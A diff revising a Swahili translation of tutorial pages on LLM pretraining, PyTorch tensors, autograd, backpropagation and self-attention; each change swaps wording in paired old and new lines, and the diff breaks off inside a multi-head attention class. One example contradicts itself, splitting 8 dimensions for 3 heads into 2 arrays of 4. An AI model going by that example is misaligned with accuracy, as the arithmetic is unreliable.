Pretraining ni hatua ya msingi katika kuendeleza mfano mkubwa wa lugha (LLM) ambapo mfano unakabiliwa na kiasi kikubwa na tofauti za data ya maandiko. Wakati wa hatua hii, **LLM inajifunza muundo wa msingi, mifumo, na nuances za lugha**, ikiwa ni pamoja na sarufi, msamiati, sintaksia, na uhusiano wa muktadha. Kwa kuchakata data hii kubwa, mfano unapata uelewa mpana wa lugha na maarifa ya jumla ya ulimwengu. Msingi huu wa kina unamwezesha LLM kutoa maandiko yanayofaa na yanayohusiana na muktadha. Baadaye, mfano huu wa awali unaweza kupitia mchakato wa fine-tuning, ambapo unafundishwa zaidi kwenye seti maalum za data ili kubadilisha uwezo wake kwa kazi au maeneo maalum, kuboresha utendaji wake na umuhimu katika matumizi yaliyokusudiwa.
## Vipengele Vikuu vya LLM
@ -80,7 +80,7 @@ tensor1d = torch.tensor([1, 2, 3])
print(tensor1d.dtype) # Output: torch.int64
```
* Tensors zilizoundwa kutoka kwa nambari za Python ni za aina `torch.int64`.
* Tensors zilizoundwa kutoka kwa float za Python ni za aina `torch.float32`.
* Tensors zilizoundwa kutoka kwa floats za Python ni za aina `torch.float32`.
Ili kubadilisha aina ya data ya tensor, tumia njia ya `.to()`:
```python
@ -101,7 +101,7 @@ print(tensor2d.shape) # Output: torch.Size([2, 2])
```python
reshaped = tensor2d.reshape(4, 1)
```
* **Transposing Tensors**: Tumia `.T` kubadilisha tensor ya 2D.
* **Transposing Tensors**: Tumia `.T` kubadilisha mwelekeo wa tensor 2D.
```python
transposed = tensor2d.T
@ -116,23 +116,23 @@ result = tensor2d @ tensor2d.T
Tensors ni muhimu katika PyTorch kwa ajili ya kujenga na kufundisha mitandao ya neva:
* Wanahifadhi data za ingizo, uzito, na bias.
* Wanahifadhi data za ingizo, uzito, na upendeleo.
* Wanarahisisha operesheni zinazohitajika kwa ajili ya kupita mbele na nyuma katika algorithimu za mafunzo.
* Pamoja na autograd, tensors zinawezesha hesabu ya moja kwa moja ya gradients, ikirahisisha mchakato wa optimization.
* Pamoja na autograd, tensors zinawezesha hesabu ya moja kwa moja ya gradients, ikirahisisha mchakato wa kuboresha.
## Automatic Differentiation
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za optimization kama gradient descent**. PyTorch inatoa injini ya automatic differentiation inayoitwa **autograd** ambayo inarahisisha mchakato huu.
Automatic differentiation (AD) ni mbinu ya kompyuta inayotumika **kuthibitisha derivatives (gradients)** za kazi kwa ufanisi na kwa usahihi. Katika muktadha wa mitandao ya neva, AD inawezesha hesabu ya gradients zinazohitajika kwa **algorithimu za kuboresha kama gradient descent**. PyTorch inatoa injini ya utofautishaji wa moja kwa moja inayoitwa **autograd** ambayo inarahisisha mchakato huu.
### Mathematical Explanation of Automatic Differentiation
**1. The Chain Rule**
Katika msingi wa automatic differentiation ni **chain rule** kutoka calculus. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Katika msingi wa utofautishaji wa moja kwa moja ni **chain rule** kutoka kwa hesabu. Chain rule inasema kwamba ikiwa una muundo wa kazi, derivative ya kazi iliyounganishwa ni bidhaa ya derivatives za kazi zilizounganishwa.
Kihesabu, ikiwa `y=f(u)` na `u=g(x)`, basi derivative ya `y` kwa heshima na `x` ni:
<figure><img src="../../.gitbook/assets/image (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
**2. Computational Graph**
@ -142,7 +142,7 @@ Katika AD, hesabu zinawakilishwa kama voz katika **computational graph**, ambapo
Hebu tuchukue kazi rahisi:
<figure><img src="../../.gitbook/assets/image (1) (1).png" alt=""><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
Ambapo:
@ -150,7 +150,7 @@ Ambapo:
* `y=1.0` ni lebo ya lengo.
* `L` ni hasara.
Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na bias `b`.
Tunataka kuhesabu gradient ya hasara `L` kwa heshima na uzito `w` na upendeleo `b`.
**4. Computing Gradients Manually**
@ -202,13 +202,13 @@ Katika mitandao mikubwa ya neural yenye tabaka nyingi, mchakato wa kuhesabu grad
* **Compute Loss:** Kadiria kazi ya hasara kwa kutumia matokeo ya mtandao na lebo za lengo.
* **Backward Pass (Backpropagation):** Hesabu gradients za hasara kuhusiana na kila parameter katika mtandao kwa kutumia sheria ya mnyororo kwa kurudi kutoka tabaka la matokeo hadi tabaka la ingizo.
### **2. Algorithm ya Backpropagation**
### **2. Algorithimu ya Backpropagation**
* **Hatua ya 1:** Anzisha vigezo vya mtandao (uzito na bias).
* **Hatua ya 2:** Kwa kila mfano wa mafunzo, fanya forward pass ili kuhesabu matokeo.
* **Hatua ya 3:** Hesabu hasara.
* **Hatua ya 4:** Hesabu gradients za hasara kuhusiana na kila parameter kwa kutumia sheria ya mnyororo.
* **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithm ya kuboresha (mfano, gradient descent).
* **Hatua ya 5:** Sasisha vigezo kwa kutumia algorithimu ya kuboresha (mfano, gradient descent).
### **3. Uwiano wa Kihesabu**

View file

@ -23,8 +23,8 @@ Self-attention, or intra-attention, is a mechanism where attention is applied wi
#### Key Concepts
* **Tokens**: Vipengele vya kibinafsi vya mfuatano wa ingizo (e.g., maneno katika sentensi).
* **Embeddings**: Uwiano wa vektori wa tokens, ukichukua taarifa za maana.
* **Tokens**: Vipengele vya kibinafsi vya mlolongo wa ingizo (e.g., maneno katika sentensi).
* **Embeddings**: Uwakilishi wa vector wa tokens, ukichukua taarifa za maana.
* **Attention Weights**: Thamani zinazotathmini umuhimu wa kila token kulingana na wengine.
### Calculating Attention Weights: A Step-by-Step Example
@ -51,7 +51,7 @@ For each word in the sentence, compute the **attention score** with respect to "
**Attention Score between "shiny" and "shiny"**
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="563"><figcaption></figcaption></figure>
**Attention Score between "sun" and "shiny"**
@ -173,7 +173,7 @@ Ili kuzuia dot products kuwa kubwa sana, ziongeze kwa mzizi wa mraba wa vipimo v
Alama inagawanywa kwa mzizi wa mraba wa vipimo kwa sababu dot products zinaweza kuwa kubwa sana na hii husaidia kudhibiti.
{% endhint %}
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, sanifisha thamani zote ili ziwe na jumla 1.&#x20;
**Apply Softmax to Obtain Attention Weights:** Kama katika mfano wa awali, sanifisha thamani zote ili zijumuishe 1.&#x20;
<figure><img src="../../.gitbook/assets/image (14).png" alt="" width="295"><figcaption></figcaption></figure>
@ -330,7 +330,7 @@ print("context_vecs.shape:", context_vecs.shape)
### Mfano wa Kanuni
Inawezekana kurudia kanuni ya awali na kuongeza tu kifuniko kinachokifanya kifanyike mara kadhaa, lakini hii ni toleo lililoimarishwa zaidi kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) ambayo inashughulikia vichwa vyote kwa wakati mmoja (ikiwapunguza idadi ya mizunguko ya gharama kubwa). Kama unavyoona katika kanuni, vipimo vya kila token vinagawanywa katika vipimo tofauti kulingana na idadi ya vichwa. Kwa njia hii, ikiwa token ina vipimo 8 na tunataka kutumia vichwa 3, vipimo vitagawanywa katika arrays 2 za vipimo 4 na kila kichwa kitatumia moja yao:
Inawezekana kurudia kanuni ya awali na kuongeza tu kifuniko kinachokifanya kifanyike mara kadhaa, lakini hii ni toleo lililoimarishwa zaidi kutoka [https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb](https://github.com/rasbt/LLMs-from-scratch/blob/main/ch03/01\_main-chapter-code/ch03.ipynb) inayoshughulikia vichwa vyote kwa wakati mmoja (ikiweka chini idadi ya mizunguko ya gharama kubwa). Kama unavyoona katika kanuni, vipimo vya kila token vinagawanywa katika vipimo tofauti kulingana na idadi ya vichwa. Kwa njia hii, ikiwa token ina vipimo 8 na tunataka kutumia vichwa 3, vipimo vitagawanywa katika arrays 2 za vipimo 4 na kila kichwa kitatumia moja yao:
```python
class MultiHeadAttention(nn.Module):
def __init__(self, d_in, d_out, context_length, dropout, num_heads, qkv_bias=False):